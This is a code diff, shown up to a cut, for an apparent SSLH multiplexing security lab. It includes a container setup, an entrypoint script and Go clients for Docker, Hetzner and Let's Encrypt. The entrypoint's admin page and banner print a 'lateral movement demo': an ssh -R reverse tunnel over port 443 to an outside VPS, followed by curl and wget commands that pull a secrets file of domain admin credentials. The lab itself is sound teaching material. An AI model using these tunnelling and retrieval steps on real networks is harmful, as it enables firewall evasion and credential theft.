echo 'Acquire::Retries "3";' >> /etc/apt/apt.conf.d/99timeout && \
echo 'Acquire::http::Pipeline-Depth "0";' >> /etc/apt/apt.conf.d/99timeout
# Update package lists and install packages in a single layer for better caching
# Use --no-install-recommends to reduce image size and installation time
# Group packages to optimize download
RUN apt-get update && \
apt-get install -y --no-install-recommends \
openssh-client \
wireguard-tools \
curl \
wget \
dnsutils \
iptables \
bash \
samba-client \
nginx-light \
iproute2 \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/* \
&& mkdir -p /var/log/nginx /var/www/html /etc/nginx/sites-available /etc/nginx/sites-enabled \
&& chown -R www-data:www-data /var/www/html /var/log/nginx 2>/dev/null || true
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
CMD ["/bin/bash"]

View File

@@ -0,0 +1,24 @@
services:
sslh-lab-client:
build:
context: .
dockerfile: Dockerfile
container_name: sslh-lab-client
network_mode: bridge
cap_add:
- NET_ADMIN
volumes:
- ./wireguard:/wireguard:ro
- ./keys:/keys:ro
- ./server-info.txt:/server-info.txt:ro
- ./secrets.txt:/secrets.txt:ro
stdin_open: true
tty: true
privileged: false
dns:
- 8.8.8.8
- 1.1.1.1
- 8.8.4.4
dns_search: []
dns_opt:
- use-vc

View File

@@ -0,0 +1,386 @@
#!/bin/sh
# Don't use set -e as we want to continue even if some commands fail
# Force use of public DNS servers to avoid Docker DNS cache issues
# Docker's DNS (192.168.65.7) may cache NXDOMAIN responses
# Using public DNS ensures fresh lookups
cat > /etc/resolv.conf <<EOF
nameserver 8.8.8.8
nameserver 1.1.1.1
nameserver 8.8.4.4
EOF
# Configure iptables to only allow TCP 443 and UDP 53 (DNS) outbound
# This simulates a restricted network environment (e.g., behind a VPN/firewall)
# Use REJECT instead of DROP so connections fail immediately
# TCP connections get tcp-reset, UDP gets icmp-port-unreachable
# Note: No INPUT rules needed - reverse SSH tunnel handles forwarding internally
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -p tcp -j REJECT --reject-with tcp-reset
iptables -A OUTPUT -p udp -j REJECT --reject-with icmp-port-unreachable
iptables -A OUTPUT -j REJECT --reject-with icmp-proto-unreachable
# Test DNS resolution to ensure it works
if ! nslookup google.com >/dev/null 2>&1; then
echo "Warning: DNS resolution test failed. DNS may not be working properly."
fi
# Clear DNS cache if nscd is available
if command -v nscd >/dev/null 2>&1; then
nscd -i hosts 2>/dev/null || true
nscd -i passwd 2>/dev/null || true
nscd -i group 2>/dev/null || true
fi
# Force DNS refresh by clearing any local DNS cache
# This ensures subdomain resolution works immediately
if [ -f /etc/nsswitch.conf ]; then
# Ensure hosts: files dns is set for proper DNS resolution
if ! grep -q "^hosts:.*dns" /etc/nsswitch.conf 2>/dev/null; then
sed -i 's/^hosts:.*/hosts: files dns/' /etc/nsswitch.conf 2>/dev/null || true
fi
fi
# Test DNS resolution for common domains to verify DNS is working
echo "Testing DNS resolution..."
if nslookup google.com >/dev/null 2>&1; then
echo "DNS resolution: OK (using 8.8.8.8, 1.1.1.1)"
else
echo "WARNING: DNS resolution test failed"
fi
# Function to start nginx HTTP server
start_http_server() {
if command -v nginx >/dev/null 2>&1; then
# Create web root directory
mkdir -p /var/www/html
# Create nginx configuration for port 8888
# Create sites-available directory if it doesn't exist
mkdir -p /etc/nginx/sites-available /etc/nginx/sites-enabled
# Create a minimal nginx config that works
# Use default_server to ensure it's used
cat > /etc/nginx/sites-available/lab-server <<'NGINX'
server {
listen 127.0.0.1:8888 default_server;
server_name localhost;
root /var/www/html;
index index.html;
access_log /var/log/nginx/lab-access.log;
error_log /var/log/nginx/lab-error.log;
# Ensure we can serve files
location / {
try_files $uri $uri/ =404;
}
# Serve secrets.txt as plain text
location /secrets.txt {
default_type text/plain;
try_files $uri =404;
}
}
NGINX
# Enable the site
ln -sf /etc/nginx/sites-available/lab-server /etc/nginx/sites-enabled/
rm -f /etc/nginx/sites-enabled/default
# Ensure nginx main config includes sites-enabled
# Ubuntu nginx-light should already have this, but verify and fix if needed
if ! grep -q "include.*sites-enabled" /etc/nginx/nginx.conf 2>/dev/null; then
# Backup original config
cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.bak 2>/dev/null || true
# Add include directive in http block
sed -i '/^[[:space:]]*http[[:space:]]*{/,/^[[:space:]]*}/ {
/^[[:space:]]*include[[:space:]]*\/etc\/nginx\/sites-enabled/! {
/^[[:space:]]*include[[:space:]]*mime.types/a\
include /etc/nginx/sites-enabled/*;
}
}' /etc/nginx/nginx.conf 2>/dev/null || \
sed -i '/include.*mime.types/a\ include /etc/nginx/sites-enabled/*;' /etc/nginx/nginx.conf 2>/dev/null || true
fi
# Create admin page
cat > /var/www/html/index.html <<'HTML'
<!DOCTYPE html>
<html>
<head>
<title>Lab Admin Panel</title>
<meta charset="utf-8">
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
margin: 0;
padding: 20px;
color: #333;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
border-radius: 10px;
padding: 30px;
box-shadow: 0 10px 30px rgba(0,0,0,0.3);
}
h1 {
color: #667eea;
border-bottom: 3px solid #764ba2;
padding-bottom: 10px;
}
.info-box {
background: #f5f5f5;
border-left: 4px solid #667eea;
padding: 15px;
margin: 20px 0;
border-radius: 5px;
}
.link {
display: inline-block;
margin: 10px 10px 10px 0;
padding: 10px 20px;
background: #667eea;
color: white;
text-decoration: none;
border-radius: 5px;
transition: background 0.3s;
}
.link:hover {
background: #764ba2;
}
code {
background: #f5f5f5;
padding: 2px 6px;
border-radius: 3px;
font-family: 'Courier New', monospace;
}
</style>
</head>
<body>
<div class="container">
<h1>Lab Admin Panel</h1>
<div class="info-box">
<h2>System Information</h2>
<p><strong>Server:</strong> SSLH Multiplex Lab - Client Container</p>
<p><strong>Access:</strong> Localhost only (via reverse SSH tunnel)</p>
<p><strong>Purpose:</strong> Lateral movement demonstration</p>
</div>
<div class="info-box">
<h2>Available Resources</h2>
<p>This server is accessible only through the reverse SSH tunnel established from the container.</p>
<a href="/secrets.txt" class="link">View Secrets File</a>
</div>
<div class="info-box">
<h2>Lateral Movement Demo</h2>
<p>This demonstrates accessing container resources from a compromised VPS:</p>
<ol>
<li>Establish reverse tunnel: <code>ssh -R 127.0.0.1:2222:127.0.0.1:8888 -o ExitOnForwardFailure=yes testuser@ssh.domain.com -p 443</code></li>
<li>From VPS, access: <code>curl http://localhost:2222/secrets.txt</code></li>
<li>Or browse: <code>curl http://localhost:2222/</code></li>
</ol>
</div>
</div>
</body>
</html>
HTML
# Copy secrets.txt to web root
if [ -f /secrets.txt ]; then
cp /secrets.txt /var/www/html/secrets.txt
else
echo "File not found - secrets.txt should be mounted" > /var/www/html/secrets.txt
fi
# Start nginx on port 8888
echo "Starting nginx on port 8888..."
# Create nginx log directory if it doesn't exist
mkdir -p /var/log/nginx
chown -R www-data:www-data /var/log/nginx 2>/dev/null || chown -R nginx:nginx /var/log/nginx 2>/dev/null || true
# Ensure nginx can write to log directory
chmod 755 /var/log/nginx 2>/dev/null || true
# Kill any existing nginx processes
pkill -9 nginx 2>/dev/null || true
sleep 1
# Test nginx configuration
nginx -t >/tmp/nginx-test.log 2>&1
TEST_RESULT=$?
if [ $TEST_RESULT -ne 0 ]; then
echo "ERROR: nginx configuration test failed"
cat /tmp/nginx-test.log
echo " Main config:"
cat /etc/nginx/nginx.conf | head -30
echo " Site config:"
cat /etc/nginx/sites-available/lab-server
return 1
fi
echo " Nginx configuration test passed"
# Start nginx as daemon
# Redirect stderr to capture any startup errors
nginx 2>/tmp/nginx-start-err.log || {
echo "ERROR: nginx failed to start (exit code: $?)"
cat /tmp/nginx-start-err.log 2>/dev/null || true
cat /var/log/nginx/error.log 2>/dev/null || true
return 1
}
# Wait for nginx to fully start and verify it's running
for i in 1 2 3 4 5; do
if pgrep -x nginx >/dev/null 2>&1; then
break
fi
if [ $i -eq 5 ]; then
echo "ERROR: nginx process not found after start attempts"
cat /tmp/nginx-start-err.log 2>/dev/null || true
cat /var/log/nginx/error.log 2>/dev/null || true
return 1
fi
sleep 1
done
echo " Nginx process started (PID: $(pgrep -x nginx | head -1))"
# Wait a bit more for nginx to fully initialize and bind to port
sleep 2
# Verify nginx master and worker processes
NGINX_COUNT=$(pgrep -x nginx | wc -l)
if [ "$NGINX_COUNT" -lt 2 ]; then
echo " WARNING: Only $NGINX_COUNT nginx process(es) found (expected at least 2: master + worker)"
fi
# Verify it's listening on port 8888
LISTENING=0
if command -v ss >/dev/null 2>&1; then
if ss -ln 2>/dev/null | grep -q ":8888"; then
LISTENING=1
fi
elif command -v netstat >/dev/null 2>&1; then
if netstat -ln 2>/dev/null | grep -q ":8888"; then
LISTENING=1
fi
fi
if [ "$LISTENING" -eq 1 ]; then
echo "HTTP server (nginx) started on 127.0.0.1:8888"
echo " Admin page: http://127.0.0.1:8888/"
echo " Secrets: http://127.0.0.1:8888/secrets.txt"
# Test that it actually responds with retries
if command -v curl >/dev/null 2>&1; then
RESPONDING=0
for i in 1 2 3; do
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 http://127.0.0.1:8888/ 2>/dev/null || echo "000")
if echo "$HTTP_CODE" | grep -qE "200|404"; then
RESPONDING=1
echo " Verified: Server responding correctly (HTTP $HTTP_CODE)"
break
fi
sleep 1
done
if [ "$RESPONDING" -eq 0 ]; then
echo " WARNING: Server listening but not responding to HTTP requests"
echo " Test: curl -v http://127.0.0.1:8888/"
fi
fi
return 0
else
echo "WARNING: nginx is running but not listening on port 8888"
echo " Process status:"
pgrep -a nginx || true
echo " Listening ports:"
(ss -ln 2>/dev/null || netstat -ln 2>/dev/null) | grep -E "(8888|LISTEN)" || true
echo " Error log:"
tail -30 /var/log/nginx/error.log 2>/dev/null || cat /tmp/nginx.log 2>/dev/null || true
return 1
fi
else
echo "ERROR: nginx not available"
return 1
fi
}
# Start lightweight HTTP server on localhost:8888
# This serves a demo admin page and secrets.txt via reverse tunnel
# Only accessible through reverse SSH tunnel (doesn't bypass network restrictions)
# Ensure secrets.txt exists
if [ ! -f /secrets.txt ]; then
echo "WARNING: /secrets.txt not found, creating placeholder"
echo "File not found - secrets.txt should be mounted" > /secrets.txt
fi
# Start the HTTP server (nginx)
echo "Starting HTTP server (nginx)..."
if start_http_server; then
echo "HTTP server ready for reverse tunnel access"
else
echo "ERROR: Failed to start HTTP server"
echo " Check logs: cat /var/log/nginx/error.log"
echo " Check nginx config: nginx -t"
echo " Check if port is in use: ss -ln | grep 8888"
fi
# Display connection examples
cat <<EOF
SSLH Multiplex Lab - Client Container
======================================
This container has restricted network access:
- Only TCP port 443 (outbound) is allowed - for SSLH multiplexed services
- Only UDP port 53 (outbound) is allowed - for DNS queries
- All other outbound traffic is blocked (simulating VPN/firewall restrictions)
Example connections:
- SSH: ssh -i /keys/id_ed25519 user@ssh.chaosengineering.cc -p 443
- HTTPS: curl https://chaosengineering.cc
- SMB: smbclient //smb.chaosengineering.cc/share -p 443 -U user
- SMB (list shares): smbclient -L //smb.chaosengineering.cc -p 443 -U user
- SMB (connect): smbclient //smb.chaosengineering.cc/share -p 443 -U user%password
Troubleshooting DNS:
- If DNS resolution fails, use the server IP address directly
- Server information is available in: /server-info.txt
- Test DNS: nslookup google.com
- Check DNS config: cat /etc/resolv.conf
Example with IP (if DNS fails):
cat /server-info.txt
ssh testuser@<server-ip> -p 443
WireGuard configs are available in /wireguard/
SSH keys are available in /keys/
Domain admin credentials are available in /secrets.txt
Lateral Movement Demo:
- Establish SSH reverse shell to VPS:
ssh -R 127.0.0.1:2222:127.0.0.1:8888 -o ExitOnForwardFailure=yes testuser@ssh.chaosengineering.cc -p 443
- Keep that SSH session open (the tunnel stays active while connected)
- From the VPS shell:
* View admin page: curl http://127.0.0.1:2222/ (or http://localhost:2222/)
* Retrieve secrets: curl http://127.0.0.1:2222/secrets.txt > /tmp/secrets.txt
* Or: wget http://127.0.0.1:2222/secrets.txt -O /tmp/secrets.txt
- The HTTP server listens on 127.0.0.1:8888 and is only accessible via reverse tunnel
- This demonstrates lateral movement: accessing container resources from compromised VPS
- Note: The reverse tunnel must stay active (keep SSH session open)
Troubleshooting:
- Verify server is running: ps aux | grep nginx
- Check if listening: ss -ln | grep 8888 (or: netstat -ln | grep 8888)
- Test from container: curl http://127.0.0.1:8888/ or curl http://127.0.0.1:8888/secrets.txt
- Check server logs: cat /var/log/nginx/error.log
- Check nginx config: nginx -t
- Verify reverse tunnel: On VPS, check if port 2222 is listening: ss -ln | grep 2222
- If tunnel fails: Check VPS SSH config allows GatewayPorts (default: no, but localhost binding should work)
- Alternative syntax (if above fails): ssh -R 2222:127.0.0.1:8888 testuser@ssh.chaosengineering.cc -p 443
- Debug tunnel: Add -v flag to SSH: ssh -v -R 127.0.0.1:2222:127.0.0.1:8888 testuser@ssh.chaosengineering.cc -p 443
EOF
exec "$@"

166
internal/docker/manager.go Normal file
View File

@@ -0,0 +1,166 @@
package docker
import (
"fmt"
"os"
"os/exec"
"path/filepath"
)
type Manager struct {
ClientDir string
}
func NewManager(clientDir string) *Manager {
return &Manager{
ClientDir: clientDir,
}
}
func getComposeCommand() ([]string, error) {
// Try docker compose (v2) first
cmd := exec.Command("docker", "compose", "version")
if err := cmd.Run(); err == nil {
return []string{"docker", "compose"}, nil
}
// Fall back to docker-compose (v1)
cmd = exec.Command("docker-compose", "--version")
if err := cmd.Run(); err == nil {
return []string{"docker-compose"}, nil
}
return nil, fmt.Errorf("neither 'docker compose' nor 'docker-compose' is available. Please install Docker Compose")
}
func (m *Manager) Build() error {
dockerfilePath := filepath.Join(m.ClientDir, "Dockerfile")
if _, err := os.Stat(dockerfilePath); os.IsNotExist(err) {
return fmt.Errorf("Dockerfile not found at %s", dockerfilePath)
}
// Use docker-compose build to ensure it respects docker-compose.yml configuration
// and rebuilds when Dockerfile changes
composeCmd, err := getComposeCommand()
if err != nil {
// Fallback to docker build if compose is not available
cmd := exec.Command("docker", "build", "--no-cache", "-t", "sslh-lab-client", m.ClientDir)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return fmt.Errorf("failed to build Docker image: %w", err)
}
return nil
}
// Use docker-compose build which will rebuild if Dockerfile changed
args := append(composeCmd, "-f", filepath.Join(m.ClientDir, "docker-compose.yml"), "build", "--no-cache")
cmd := exec.Command(args[0], args[1:]...)
cmd.Dir = m.ClientDir
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return fmt.Errorf("failed to build Docker image: %w", err)
}
return nil
}
func (m *Manager) Run() error {
composeFile := filepath.Join(m.ClientDir, "docker-compose.yml")
if _, err := os.Stat(composeFile); os.IsNotExist(err) {
return fmt.Errorf("docker-compose.yml not found at %s", composeFile)
}
composeCmd, err := getComposeCommand()
if err != nil {
return err
}
args := append(composeCmd, "-f", composeFile, "up", "-d")
cmd := exec.Command(args[0], args[1:]...)
cmd.Dir = m.ClientDir
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return fmt.Errorf("failed to run Docker container: %w", err)
}
return nil
}
func (m *Manager) Stop() error {
composeFile := filepath.Join(m.ClientDir, "docker-compose.yml")
if _, err := os.Stat(composeFile); os.IsNotExist(err) {
return fmt.Errorf("docker-compose.yml not found at %s", composeFile)
}
composeCmd, err := getComposeCommand()
if err != nil {
return err
}
args := append(composeCmd, "-f", composeFile, "down")
cmd := exec.Command(args[0], args[1:]...)
cmd.Dir = m.ClientDir
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return fmt.Errorf("failed to stop Docker container: %w", err)
}
return nil
}
func (m *Manager) Status() (string, error) {
cmd := exec.Command("docker", "ps", "--filter", "name=sslh-lab-client", "--format", "{{.Status}}")
output, err := cmd.Output()
if err != nil {
return "", fmt.Errorf("failed to check container status: %w", err)
}
return string(output), nil
}
func (m *Manager) IsRunning() bool {
cmd := exec.Command("docker", "ps", "--filter", "name=sslh-lab-client", "--format", "{{.Names}}")
output, err := cmd.Output()
if err != nil {
return false
}
return len(output) > 0 && string(output) == "sslh-lab-client\n"
}
func (m *Manager) Connect(shell string) error {
if !m.IsRunning() {
return fmt.Errorf("container is not running. Start it first with 'sslh-lab client'")
}
cmd := exec.Command("docker", "exec", "-it", "sslh-lab-client", shell)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
err := cmd.Run()
// Exit code 255 is common when user exits normally (Ctrl+D or 'exit' command)
// Exit code 130 is common when user presses Ctrl+C
// These are not errors, just normal ways to disconnect
if exitError, ok := err.(*exec.ExitError); ok {
exitCode := exitError.ExitCode()
if exitCode == 255 || exitCode == 130 || exitCode == 0 {
return nil
}
}
// If err is nil (exit code 0), return nil
if err == nil {
return nil
}
// For other errors, return them
return err
}

View File

@@ -0,0 +1,172 @@
package hetzner
import (
"fmt"
"time"
"github.com/go-resty/resty/v2"
)
const (
hetznerAPIBaseURL = "https://api.hetzner.cloud/v1"
)
type Client struct {
apiKey string
resty *resty.Client
}
type Server struct {
ID int `json:"id"`
Name string `json:"name"`
Status string `json:"status"`
PublicNet PublicNet `json:"public_net"`
}
type PublicNet struct {
IPv4 IPv4Info `json:"ipv4"`
}
type IPv4Info struct {
IP string `json:"ip"`
}
type ServerResponse struct {
Server Server `json:"server"`
}
type ServersResponse struct {
Servers []Server `json:"servers"`
}
type CreateServerRequest struct {
Name string `json:"name"`
ServerType string `json:"server_type"`
Image string `json:"image"`
Location string `json:"location,omitempty"`
SSHKeys []int `json:"ssh_keys,omitempty"`
UserData string `json:"user_data,omitempty"`
Networks []int `json:"networks,omitempty"`
Labels map[string]string `json:"labels,omitempty"`
}
func NewClient(apiKey string) *Client {
client := resty.New()
client.SetBaseURL(hetznerAPIBaseURL)
client.SetHeader("Authorization", fmt.Sprintf("Bearer %s", apiKey))
client.SetTimeout(30 * time.Second)
return &Client{
apiKey: apiKey,
resty: client,
}
}
func (c *Client) CreateServer(req CreateServerRequest) (*Server, error) {
var resp ServerResponse
httpResp, err := c.resty.R().
SetBody(req).
SetResult(&resp).
Post("/servers")
if err != nil {
return nil, fmt.Errorf("failed to create server: %w", err)
}
if httpResp.IsError() {
return nil, fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
}
return &resp.Server, nil
}
func (c *Client) GetServer(serverID int) (*Server, error) {
var resp ServerResponse
httpResp, err := c.resty.R().
SetResult(&resp).
Get(fmt.Sprintf("/servers/%d", serverID))
if err != nil {
return nil, fmt.Errorf("failed to get server: %w", err)
}
if httpResp.IsError() {
return nil, fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
}
return &resp.Server, nil
}
func (c *Client) DeleteServer(serverID int) error {
httpResp, err := c.resty.R().
Delete(fmt.Sprintf("/servers/%d", serverID))
if err != nil {
return fmt.Errorf("failed to delete server: %w", err)
}
if httpResp.IsError() {
return fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
}
return nil
}
func (c *Client) WaitForServerReady(serverID int, timeout time.Duration) error {
deadline := time.Now().Add(timeout)
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
for {
select {
case <-ticker.C:
server, err := c.GetServer(serverID)
if err != nil {
return fmt.Errorf("failed to check server status: %w", err)
}
if server.Status == "running" {
return nil
}
if time.Now().After(deadline) {
return fmt.Errorf("timeout waiting for server to be ready (current status: %s)", server.Status)
}
case <-time.After(timeout):
return fmt.Errorf("timeout waiting for server to be ready")
}
}
}
func (c *Client) GetServerIP(serverID int) (string, error) {
server, err := c.GetServer(serverID)
if err != nil {
return "", err
}
if server.PublicNet.IPv4.IP == "" {
return "", fmt.Errorf("server has no public IP address")
}
return server.PublicNet.IPv4.IP, nil
}
func (c *Client) ListServers() ([]Server, error) {
var resp ServersResponse
httpResp, err := c.resty.R().
SetResult(&resp).
Get("/servers")
if err != nil {
return nil, fmt.Errorf("failed to list servers: %w", err)
}
if httpResp.IsError() {
return nil, fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
}
return resp.Servers, nil
}

View File

@@ -0,0 +1,76 @@
package hetzner
import (
"fmt"
"time"
)
type ServerInfo struct {
ID int
Name string
Status string
PublicIP string
Region string
Type string
}
func (c *Client) CreateServerWithConfig(name, serverType, location, image, userData string, sshKeyIDs []int) (*ServerInfo, error) {
if location == "" {
return nil, fmt.Errorf("location is required")
}
validLocations := map[string]bool{
"fsn1": true, // Falkenstein, Germany
"nbg1": true, // Nuremberg, Germany
"hel1": true, // Helsinki, Finland
"ash": true, // Ashburn, Virginia
"hil": true, // Hillsboro, Oregon
"sin": true, // Singapore
}
if !validLocations[location] {
return nil, fmt.Errorf("invalid location: %s (valid locations: fsn1, nbg1, hel1, ash, hil, sin)", location)
}
req := CreateServerRequest{
Name: name,
ServerType: serverType,
Image: image,
Location: location,
UserData: userData,
SSHKeys: sshKeyIDs,
Labels: map[string]string{
"managed-by": "sslh-lab",
"created-at": time.Now().Format("2006-01-02T15-04-05"),
},
}
server, err := c.CreateServer(req)
if err != nil {
return nil, fmt.Errorf("failed to create server: %w", err)
}
serverInfo := &ServerInfo{
ID: server.ID,
Name: server.Name,
Status: server.Status,
Region: location,
Type: serverType,
}
if server.PublicNet.IPv4.IP != "" {
serverInfo.PublicIP = server.PublicNet.IPv4.IP
} else {
if err := c.WaitForServerReady(server.ID, 10*time.Minute); err != nil {
return nil, fmt.Errorf("server created but failed to become ready: %w", err)
}
ip, err := c.GetServerIP(server.ID)
if err != nil {
return nil, fmt.Errorf("failed to get server IP: %w", err)
}
serverInfo.PublicIP = ip
}
return serverInfo, nil
}

View File

@@ -0,0 +1,107 @@
package hetzner
import (
"fmt"
)
type SSHKey struct {
ID int `json:"id"`
Name string `json:"name"`
Fingerprint string `json:"fingerprint"`
PublicKey string `json:"public_key"`
Labels map[string]string `json:"labels,omitempty"`
}
type SSHKeyResponse struct {
SSHKey SSHKey `json:"ssh_key"`
}
type SSHKeysResponse struct {
SSHKeys []SSHKey `json:"ssh_keys"`
}
type CreateSSHKeyRequest struct {
Name string `json:"name"`
PublicKey string `json:"public_key"`
Labels map[string]string `json:"labels,omitempty"`
}
func (c *Client) CreateSSHKey(name, publicKey string) (*SSHKey, error) {
req := CreateSSHKeyRequest{
Name: name,
PublicKey: publicKey,
Labels: map[string]string{
"managed-by": "sslh-lab",
},
}
var resp SSHKeyResponse
httpResp, err := c.resty.R().
SetBody(req).
SetResult(&resp).
Post("/ssh_keys")
if err != nil {
return nil, fmt.Errorf("failed to create SSH key: %w", err)
}
if httpResp.IsError() {
return nil, fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
}
return &resp.SSHKey, nil
}
func (c *Client) GetSSHKeyByName(name string) (*SSHKey, error) {
var resp SSHKeysResponse
httpResp, err := c.resty.R().
SetResult(&resp).
Get("/ssh_keys")
if err != nil {
return nil, fmt.Errorf("failed to list SSH keys: %w", err)
}
if httpResp.IsError() {
return nil, fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
}
for _, key := range resp.SSHKeys {
if key.Name == name {
return &key, nil
}
}
return nil, fmt.Errorf("SSH key with name '%s' not found", name)
}
func (c *Client) GetOrCreateSSHKey(name, publicKey string) (int, error) {
existingKey, err := c.GetSSHKeyByName(name)
if err == nil {
return existingKey.ID, nil
}
newKey, err := c.CreateSSHKey(name, publicKey)
if err != nil {
return 0, fmt.Errorf("failed to create SSH key: %w", err)
}
return newKey.ID, nil
}
func (c *Client) DeleteSSHKey(keyID int) error {
httpResp, err := c.resty.R().
Delete(fmt.Sprintf("/ssh_keys/%d", keyID))
if err != nil {
return fmt.Errorf("failed to delete SSH key: %w", err)
}
if httpResp.IsError() {
return fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
}
return nil
}

View File

@@ -0,0 +1,216 @@
package letsencrypt
import (
"crypto"
"crypto/rand"
"crypto/rsa"
"crypto/x509"
"encoding/json"
"encoding/pem"
"fmt"
"os"
"path/filepath"
"time"
"github.com/go-acme/lego/v4/certificate"
"github.com/go-acme/lego/v4/certcrypto"
"github.com/go-acme/lego/v4/lego"
"github.com/go-acme/lego/v4/registration"
)
type Client struct {
user *User
client *lego.Client
certDir string
email string
dnsProvider DNSProvider
}
type User struct {
Email string
Registration *registration.Resource
key crypto.PrivateKey
}
func (u *User) GetEmail() string {
return u.Email
}
func (u *User) GetRegistration() *registration.Resource {
return u.Registration
}
func (u *User) GetPrivateKey() crypto.PrivateKey {
return u.key
}
type DNSProvider interface {
Present(domain, token, keyAuth string) error
CleanUp(domain, token, keyAuth string) error
}
type CertificateInfo struct {
CertificatePath string
PrivateKeyPath string
FullChainPath string
Domain string
ExpiresAt time.Time
}
func NewClient(email, certDir string, dnsProvider DNSProvider) (*Client, error) {
if err := os.MkdirAll(certDir, 0700); err != nil {
return nil, fmt.Errorf("failed to create cert directory: %w", err)
}
privateKey, err := rsa.GenerateKey(rand.Reader, 2048)
if err != nil {
return nil, fmt.Errorf("failed to generate private key: %w", err)
}
user := &User{
Email: email,
key: privateKey,
}
config := lego.NewConfig(user)
config.CADirURL = lego.LEDirectoryProduction
config.Certificate.KeyType = certcrypto.RSA2048
config.HTTPClient.Timeout = 30 * time.Second
client, err := lego.NewClient(config)
if err != nil {
return nil, fmt.Errorf("failed to create lego client: %w", err)
}
provider := &namecheapDNSProvider{dnsProvider: dnsProvider}
client.Challenge.SetDNS01Provider(provider)
accountPath := filepath.Join(certDir, "account.json")
var reg *registration.Resource
if _, err := os.Stat(accountPath); err == nil {
accountData, err := os.ReadFile(accountPath)
if err == nil {
if err := json.Unmarshal(accountData, &reg); err == nil && reg != nil {
user.Registration = reg
}
}
}
if user.Registration == nil {
reg, err := client.Registration.Register(registration.RegisterOptions{TermsOfServiceAgreed: true})
if err != nil {
return nil, fmt.Errorf("failed to register with Let's Encrypt: %w", err)
}
user.Registration = reg
accountData, _ := json.Marshal(reg)
os.WriteFile(accountPath, accountData, 0600)
}
return &Client{
user: user,
client: client,
certDir: certDir,
email: email,
dnsProvider: dnsProvider,
}, nil
}
type namecheapDNSProvider struct {
dnsProvider DNSProvider
}
func (p *namecheapDNSProvider) Present(domain, token, keyAuth string) error {
return p.dnsProvider.Present(domain, token, keyAuth)
}
func (p *namecheapDNSProvider) CleanUp(domain, token, keyAuth string) error {
return p.dnsProvider.CleanUp(domain, token, keyAuth)
}
func (c *Client) ObtainCertificate(domain string, sanDomains []string) (*CertificateInfo, error) {
domains := append([]string{domain}, sanDomains...)
request := certificate.ObtainRequest{
Domains: domains,
Bundle: true,
}
certificates, err := c.client.Certificate.Obtain(request)
if err != nil {
return nil, fmt.Errorf("failed to obtain certificate: %w", err)
}
certPath := filepath.Join(c.certDir, fmt.Sprintf("%s.crt", domain))
keyPath := filepath.Join(c.certDir, fmt.Sprintf("%s.key", domain))
fullChainPath := filepath.Join(c.certDir, fmt.Sprintf("%s-fullchain.crt", domain))
if err := os.WriteFile(certPath, certificates.Certificate, 0644); err != nil {
return nil, fmt.Errorf("failed to write certificate: %w", err)
}
if err := os.WriteFile(keyPath, certificates.PrivateKey, 0600); err != nil {
return nil, fmt.Errorf("failed to write private key: %w", err)
}
fullChain := append(certificates.Certificate, certificates.IssuerCertificate...)
if err := os.WriteFile(fullChainPath, fullChain, 0644); err != nil {
return nil, fmt.Errorf("failed to write full chain: %w", err)
}
block, _ := pem.Decode(certificates.Certificate)
if block == nil {
return nil, fmt.Errorf("failed to decode certificate")
}
cert, err := x509.ParseCertificate(block.Bytes)
if err != nil {
return nil, fmt.Errorf("failed to parse certificate: %w", err)
}
return &CertificateInfo{
CertificatePath: certPath,
PrivateKeyPath: keyPath,
FullChainPath: fullChainPath,
Domain: domain,
ExpiresAt: cert.NotAfter,
}, nil
}
func (c *Client) RevokeCertificate(certPath string) error {
certBytes, err := os.ReadFile(certPath)
if err != nil {
return fmt.Errorf("failed to read certificate: %w", err)
}
reason := uint(4)
return c.client.Certificate.RevokeWithReason(certBytes, &reason)
}
func GetCertificateInfo(certPath string) (*CertificateInfo, error) {
certBytes, err := os.ReadFile(certPath)
if err != nil {
return nil, fmt.Errorf("failed to read certificate: %w", err)
}
block, _ := pem.Decode(certBytes)
if block == nil {
return nil, fmt.Errorf("failed to decode certificate")
}
cert, err := x509.ParseCertificate(block.Bytes)
if err != nil {
return nil, fmt.Errorf("failed to parse certificate: %w", err)
}
keyPath := certPath[:len(certPath)-4] + ".key"
fullChainPath := certPath[:len(certPath)-4] + "-fullchain.crt"
return &CertificateInfo{
CertificatePath: certPath,
PrivateKeyPath: keyPath,
FullChainPath: fullChainPath,
Domain: cert.Subject.CommonName,
ExpiresAt: cert.NotAfter,
}, nil
}

View File

@@ -0,0 +1,94 @@
package letsencrypt
import (
"fmt"
"time"
"github.com/go-acme/lego/v4/challenge/dns01"
"sslh-multiplex-lab/internal/providers/namecheap"
)
type NamecheapDNSProvider struct {
namecheapClient *namecheap.Client
domain string
txtRecords map[string]string
}
func NewNamecheapDNSProvider(namecheapClient *namecheap.Client, domain string) *NamecheapDNSProvider {
return &NamecheapDNSProvider{
namecheapClient: namecheapClient,
domain: domain,
txtRecords: make(map[string]string),
}
}
func (p *NamecheapDNSProvider) Present(domain, token, keyAuth string) error {
fqdn, value := dns01.GetRecord(domain, keyAuth)
subdomain := extractSubdomain(fqdn, p.domain)
if subdomain == "" {
